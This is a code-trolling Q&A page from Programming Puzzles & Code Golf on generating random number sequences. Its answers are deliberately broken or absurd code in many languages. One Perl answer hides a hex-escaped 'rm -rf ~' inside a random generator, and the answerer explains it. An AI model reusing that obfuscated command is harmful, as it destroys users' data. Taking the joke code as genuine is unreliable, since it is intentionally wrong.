Take the tour ×
Programming Puzzles & Code Golf Stack Exchange is a question and answer site for programming puzzle enthusiasts and code golfers. It's 100% free, no registration required.

I want a function to generate a random sequence of numbers. Its only input should be the length of the sequence. Extra internet points for pure-functional solutions.

Note: This is a question. Please do not take the question and/or answers seriously. More information here.

share|improve this question
2  
For those who missed it: codegolf.stackexchange.com/questions/16226/… –  Maxim Zaslavsky 21 hours ago
8  
xkcd.com/221 –  grc 20 hours ago
2  
add comment

24 Answers

Python

Grab a random wikipedia article, and take a sequence of html characters of length num, and get their numerical values

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)
share|improve this answer
 
I liked my answer... but I NEED to +1 this. –  Shingetsu 7 hours ago
add comment

All the programs from the other answers will only generate so-called “pseudo-random numbers”, which may look random to the untrained eye but actually follow some pattern.

The following program generates actual random numbers by turning your computer into a particle detector for background radiation. Since this is based on quantum effects, it’s really random and impossible to predict. And for a bonus, the program actually runs faster, if you launch your computer into space. And yes, that is every bit as cool as it sounds.

C

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

Spoiler: This program generates two identical pieces of memory and then waits how long it takes for background radiation to change one of them. The waiting time is then returned as a random number. Every statement in the introduction true to some extent (apart from the coolness). Unfortunately it is more likely that such an event crashes the computer or at least the program then affecting exactly those two chunks of memory. Also, it may take some time …

share|improve this answer
3  
+1 Extra points for useless but true. –  emory 8 hours ago
2  
Note that the background-radiation-detecting code will be optimised out by the compiler. –  kinokijuf 4 hours ago
 
@kinokijuf: What a shame (does this hold for every compiler independent of the options?). Anyway, since this is code-trolling, I hereby declare this a feature of the answer. –  Wrzlprmft 4 hours ago
 
An optimising compiler will first optimise the loop to a while(true), and then remove the unused i and j variables completely. –  kinokijuf 3 hours ago
2  
Unless you mark them as volatile, then your code will in fact work as expected. –  kinokijuf 3 hours ago
add comment

Randomness is hard to achieve on a computer, as they are purely deterministic. Generating random numbers on computers is a very active area of research, often involving state-level actors (See Dual_EC_DRBG). However, on a modern multi-tasking operating system, the thread scheduler may do a passable job in some situations. To do this, we yield control of our current time slice back to the operating system, and make note of how long it takes for us to be scheduled again. Depending on the operating system and the load, this may produce the desired results.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}
share|improve this answer
add comment

Java

Now that I look back on the program, I forgot to close the Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}
share|improve this answer
 
(non-troll) You can handle closing streams/etc. much more easily in Java 7 with try (Scanner reader = new Scanner(System.in)) { ... }. –  WChargin 5 hours ago
add comment

Ruby

The question asks for a SEQUENCE. Here we go again...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

This is 100% random. No really.
Too bad this code means NOTHING to the OP (what the hell is object_id?)
Also, it's implementation specific, meaning it works or doesn't between different ruby versions (ran this on 2.1.0p0).
On top of that, this can potentially do something really nasty, since OP might experiment with object_id...

Example output:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

Edit:

modified to use $$ for true randomness (on the OS level).

share|improve this answer
 
I could do this in C and get even MORE garbage, but what's the fun in doing pseudorandoms in C? –  Shingetsu 19 hours ago
add comment

Here's a random number generator, base 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}
share|improve this answer
 
You should allocate length only. Corrupted data when the example works just fine are the best. –  Jan Dvorak 5 hours ago
add comment

In javascript, with a functional style:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");
share|improve this answer
add comment

Java

Beware, this is a trick question .....

Most people in Java will use math.random() to help to generate this sequence, but they will get confused because they will only get positive results! random() returns a decimal value from 0 to 1 (excluding 1 itself). So, you have to play some tricks to make sure you get a good distribution of random values from over the entire integer range (positive and negative).

Also, you cannot simply multiply Math.random() and Integer.MAX_VALUE because you this will never include Integer.MAX_VALUE itself as part of the result! Also, it would be logical to do math.rand() * (Integer.MAX_VALUE + 1) so that you get a full distribution, but, of course, this does not work because Integer.MAX_VALUE + 1 will overflow, and become Integer.MIN_VALUE! So, unfortunately, the best solution is to resort to bit-wise manipulation of the data...

So, here is a complete sequence for generating 'n' random values in the range Integer.MIN_VALUE to Integer.MAX_VALUE (Inclusive of both extremes (which is the hard part)!!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

This produces output like:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Of course, the above is a complete BS answer. It does not produce a good description, and it 'hides' a severe bug ( ^= should be |=). it also hides a less-severe bug (the order-pf-precedence means we do not actually multiply by a prime value at all!) Using fancy words, prime numbers, and lots of comments is no reason to trust the code.... Of course, if you want to do the above, you should just use java.util.Random.nextInt()

share|improve this answer
add comment

C/C++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

Use some garbage heap data. Oh, and don't forget to leak the pointer.

share|improve this answer
add comment

The famous Blum Blum Shub generator. Cryptographic secuity through obscurity.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

(Includes terrible variable names, an incorrect implementation based on a quick scan of wikipedia, and useless function pointer magic thrown in for fun)

share|improve this answer
add comment

Here's a Python solution. You can't prove that this isn't random!

def get_random(num):
    print '3' * num

Try it out by calling get_random(5), for example.

share|improve this answer
5  
It isn't random because you can predict the output by looking at the code. You don't even need to know when it runs! –  Shingetsu 20 hours ago
 
@Shingetsu The OP is using word play to basically say "You can prove that it is random". –  C1D 6 hours ago
add comment

C

This function works very well for small applications for creating random numbers between 0 and 1337. Calling it more than once is advisable to insure maximum randomness.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}
share|improve this answer
add comment

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

I'm doing the same $\ tactic for output as in a different code-trolling answer. Also, you many notice that I am investing a considerable amount of $$ into the RANDU algorithm.

Edit: To explain better, RANDU is a horribly insecure PRNG. Wikipedia describes is as "one of the most ill-conceived random number generators ever designed." It's primary weakness is below:

f(x) = 6*f(x-1) - 9*f(x-2)

share|improve this answer
add comment

Python

It is easy to stumble over the common pitfalls: a non-evenly distributed source of random numbers and no randomisation. My solution superbly avoids these issues by using deep mathematical insights and a simple, but effective trick, randomisation with the current time:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

Works great when tested once for a small set of numbers (9 or less), but severely flawed wen tested little more:

  • math.pi only contains a few digits after the period
  • time.localtime()[8] doesn't return the milliseconds or kernel clock, but 0 or 1 depending on whether it's daylight saving time or not. So the random seed changes once every half year by one place. So, basically, no randomisation.
  • This only returns random numbers between 0 and 9.
  • random_numbers[:number] silently fails when you enter a number bigger than 15 and only spits out 15 random numbers.

Sadly, this is inspired by the Delphi 1.0 random function, which used to work similarly.

share|improve this answer
add comment
def random(n):
    with file('/vmlinuz', 'rb') as f:
        s = f.read(n)

    return [ord(x) for x in s]
share|improve this answer
add comment

C#

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

Note it tends to break for longer sequences, but when it works it generates very random numbers

share|improve this answer
add comment

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

This one uses some very simple perl code to do as the OP asked, but not before recursively removing their home directory (without actually writing rm -rf ~, of course.)

I haven't tested this (for obvious reasons).

share|improve this answer
add comment

Fortran

Your computer already has a built-in random number, so you just need to access that:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

Obviously non-portable, as it requires the user to have a *nix system (but who still uses Windows anyways?).

share|improve this answer
add comment

I assume that you of course need lots of random numbers. Which calls for...

Bash and Hadoop

Of course, Just using a single random source is unreliable in the days of the NSA. They might have trojaned your computer. But they are so not going to have trojaned your whole cluster!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

Next, the script will run the cluster jobs as desired:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

Thank god, we have the power of Hadoop!

share|improve this answer
add comment

Ruby

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits
share|improve this answer
add comment

ANSI C

This is quite tricky and i would not worry too much about it. Just copy and paste the below code into your library and you will be golden forever.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}
share|improve this answer
add comment

Try C++ - fast, powerful, everything you'll ever want:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

By the way, for the best results, you will want to use a class.


Explanation:
1. He does NOT need to use that class - that is totally redundant.
2. The return statement in generate_num() actually returns the number^(number^0), which evaluates to number^1, which is number. This also is redundant.
3. Most unnecessary error-handling - what could go wrong with this basic of data-punching?
4. I used std:: before all elements of the std namespace. This also is redundant.
5. The #define statements are unnecessary also - I did that to make him think that I defined those types specifically for this program.

Disclaimer:
This program actually works; however, I do NOT recommend any person or entity using it in their code for real-life. I do not reserve any rights on this code; in other words, I make it entirely open-source.

share|improve this answer
add comment

Python

Taking the functional part - the almost one-liner python

import random
map(lambda x: random.random(), xrange(input())
share|improve this answer
add comment

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandInt(1_£€¢|•∞™©®©©™,Andthen)

Input - 3

Output - {2,3,1}


It works because it boils down to :Input A:Disp randInt(1,A)

share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.